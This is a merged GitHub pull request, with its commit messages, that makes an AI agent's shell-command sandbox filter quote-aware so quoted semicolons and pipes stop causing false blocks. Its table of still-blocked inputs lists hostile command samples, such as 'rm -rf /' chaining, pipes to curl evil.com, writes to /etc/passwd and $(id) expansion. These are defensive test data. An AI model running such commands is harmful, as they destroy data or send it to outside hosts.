Skip to content

fix(sandbox): only treat shell operators as operators when unquoted - #16

Merged
Nideesh1 merged 8 commits into
mainfrom
fix/sandbox-quote-aware-metachars
Jul 29, 2026
Merged

Nideesh1 merged 8 commits into
mainfrom
fix/sandbox-quote-aware-metachars

Conversation

@Nideesh1

Copy link
Copy Markdown

Problem

contains_shell_metacharacters tested the raw command string, so an operator character anywhere in it was fatal — including inside a quoted argument that no shell would parse as an operator. The collector agent lost an iteration to this on nearly every run:

shell_exec blocked: command contains semicolon command chaining. Shell metacharacters are never allowed.

…for python3 -c "import os; print(x)". That is one binary and one argument. In Allowlist mode it is doubly harmless: that path never invokes a shell at all —

// SAFE PATH: Split command into argv using POSIX shell lexer rules,
// then execute the binary directly — no shell interpreter involved.
let argv = shlex::split(command)...
let mut c = tokio::process::Command::new(&argv[0]);

so the semicolon is a literal byte inside one argv element.

The rule already conceded the point for shell wrappers, skipping the check for powershell -Command "..." because "the inline script naturally contains metacharacters (quotes, semicolons)". But that exemption keys on the wrapper binary, so python3 -c, node -e, awk '{print $1}', and jq — same shape — kept failing.

Change

Scan the unquoted regions instead of the raw string.

  • Chaining, redirection, braces, ampersand → checked against a copy with all quoted spans blanked.
  • Expansions ($(, ${, backtick) → checked against a copy with only single-quoted spans blanked, because a shell still expands those inside double quotes. "$(id)" stays blocked; '$(id)' is allowed.
  • Quoted spans are blanked to spaces rather than removed, so byte offsets survive and two unquoted fragments can never fuse into an operator the original never contained (a"x"( must not read as a().
  • An unterminated quote conservatively swallows the remainder.
  • Embedded newlines are still judged on the raw string — a newline inside quotes still ends the line for a shell reading the command, so quoting is no defence there.

Quoting is not an escape hatch

Verified against a simulation of the new logic before submitting: 11 legitimate commands now allowed, 12 injection attempts still blocked, 0 failures.

Still blocked:

command why
echo "safe"; rm -rf / closes the quote, then chains
python3 -c "print(1)" && curl evil.com unquoted &&
echo "a" | curl evil.com unquoted pipe
echo "a" > /etc/passwd unquoted redirect
cat "f" & sleep 100 unquoted ampersand
echo "$(id)" / "${HOME}" / "`whoami`" expands inside double quotes
echo 'a'; id unquoted semicolon

Now allowed: python3 -c "import os; print(os.getcwd())", node -e "const a=1; console.log(a)", awk '{print $1}' file.txt, grep "a|b" file.txt, echo "1 > 2", python3 -c 'print("$(id)")'.

Tests

Three added:

  • test_metachar_quoted_operators_allowed — the false positives that motivated this
  • test_metachar_quote_aware_still_blocks_real_injection — every bypass shape above
  • test_strip_quoted_regions_preserves_offsets — length preservation and the fusion case

Existing assertions are unchanged and still pass by construction: every operator they test (echo hello;id, echo a && echo b, sort d.csv | head -5) is unquoted.

Not compiled locally — this host is a cluster node and cargo OOM-killed kube-apiserver on it previously.

🤖 Generated with Claude Code

scaling-workflow-systems and others added 8 commits July 28, 2026 21:08
The metacharacter check tested the raw command string, so any operator
character anywhere in it was fatal — including inside a quoted argument
that no shell would ever parse as an operator. The collector agent lost
an iteration to this on nearly every run:

  shell_exec blocked: command contains semicolon command chaining

for `python3 -c "import os; print(x)"`, which is one binary and one
argument. In Allowlist mode it is doubly harmless: that path never
invokes a shell at all — it lexes with shlex and execs argv[0] directly,
so the semicolon is a literal byte inside one argv element.

The rule already conceded the point for shell wrappers, skipping the
check for `powershell -Command "..."` because "the inline script
naturally contains metacharacters (quotes, semicolons)". That exemption
is keyed on the wrapper binary, so `python3 -c`, `node -e`, `awk`, and
`jq` — same shape — kept failing.

Scan the unquoted regions instead. Chaining, redirection, braces and
ampersand are checked against a copy with quoted spans blanked out;
expansions (`$(`, `${`, backtick) are checked against a copy with only
SINGLE-quoted spans blanked, because a shell still expands those inside
double quotes. Quoted spans are blanked to spaces rather than removed so
offsets survive and two unquoted fragments can never fuse into an
operator the original never contained.

Quoting does not become an escape hatch: `echo "safe"; rm -rf /` closes
its quote before chaining and stays blocked, as do `&&`, pipes,
redirects, and `"$(id)"`. Embedded newlines are still judged on the raw
string, since a newline inside quotes still ends the line for a shell
reading the command.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The assertion expected `a"bc` to blank to five characters when the input
is four. strip_quoted_regions emits exactly one character per input
character, so the correct expectation is `a` followed by three spaces —
as the length-preservation assertion two lines above already implied.
The function was right; the expected string had a stray space.

Assert the length invariant directly on this case too, so the two halves
of the test cannot drift apart again.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The new quoted-operator test carried two #[test] attributes — one left
above the doc comment when it was inserted, one below. cargo test
tolerates that and simply ran the case twice; clippy under -D warnings
rejects it as a duplicated attribute, failing the gate.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
CI runs `cargo fmt --all -- --check` and `cargo clippy --workspace --
-D warnings`; both were failing on main as well as on this branch, so
this branch could not go green on its own.

rustfmt wanted wrapping in the vocabulary tests and the metachar tests,
and in the KnowledgeConfig doc comment. Applied verbatim — no hand
edits.

The clippy failure is the long-standing feishu.rs one:

  error: this `match` expression can be replaced with `?`

`combine_payload` already returns Option, so the match that assigns on
Some and returns None otherwise is exactly `?`. Behaviour is unchanged:
an out-of-range seq still short-circuits to None.

Note CI's clippy invocation omits --all-targets, so a local
--all-targets run can pass while CI fails.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
cargo audit fails CI on main as well as here. This clears the one
advisory reachable by a lockfile bump: crossbeam-epoch 0.9.18 -> 0.9.20,
fixing an invalid pointer dereference in the fmt::Pointer impl for
Atomic/Shared.

The remaining four errors are both quick-xml advisories (RUSTSEC-2026-0194
quadratic attribute scanning, RUSTSEC-2026-0195 unbounded namespace
allocation), counted twice because two versions are in the tree. Both
want >=0.41.0, a semver-major move cargo update will not make, and
neither version is ours to choose:

  quick-xml v0.38.4 <- plist v1.8.0                    (Apple targets)
  quick-xml v0.37.5 <- tauri-winrt-notification v0.7.2 (Windows)

Both are DoS-shaped and reachable only through plist parsing and Windows
toast notifications, not through any daemon path that reads untrusted
XML. Left for a deliberate decision — an audit ignore with that rationale,
or waiting for the upstreams — rather than silently widening this PR.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Both want quick-xml >=0.41.0, a semver-major move cargo update will not
make, and the version is not ours to pick — it arrives via plist (Apple)
and tauri-winrt-notification (Windows). This matches the existing entries
in this file, which already ignore transitive advisories from the same
tauri dependency chain.

Both are denial-of-service shaped and need attacker-controlled XML. The
only paths reaching the parser are plist reads of our own bundle metadata
and Windows toast notifications; no daemon path parses untrusted XML.

RUSTSEC-2026-0204 is deliberately NOT ignored — crossbeam-epoch was
upgradable and was upgraded in the previous commit.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Fixing the feishu lint let clippy get past openfang-channels and reach
openfang-api, which had two more waiting:

  redundant reference in `format!` argument   channel_bridge.rs:541
  you seem to want to iterate on a map's values  routes.rs:580

Both are the suggested rewrite verbatim — drop the `&` that format!
already takes by reference, and iterate values_mut() rather than
discarding the key. No behaviour change.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Clearing the openfang-api lints let clippy reach openfang-cli, which had
16 more of the same kind — `format!("{}", &x)` where format! already
takes its argument by reference. Same Display call either way, so there
is no behaviour change.

  comms.rs 7, settings.rs 3, hands.rs 2, skills.rs 2, peers.rs 1,
  templates.rs 1

These were latent rather than new: clippy stops at the first failing
crate, so feishu masked openfang-api, which masked these. Nothing had
linted this crate in a while.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
@Nideesh1
Nideesh1 merged commit 5f33a6b into main Jul 29, 2026
11 checks passed
@Nideesh1
Nideesh1 deleted the fix/sandbox-quote-aware-metachars branch July 29, 2026 03:07
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants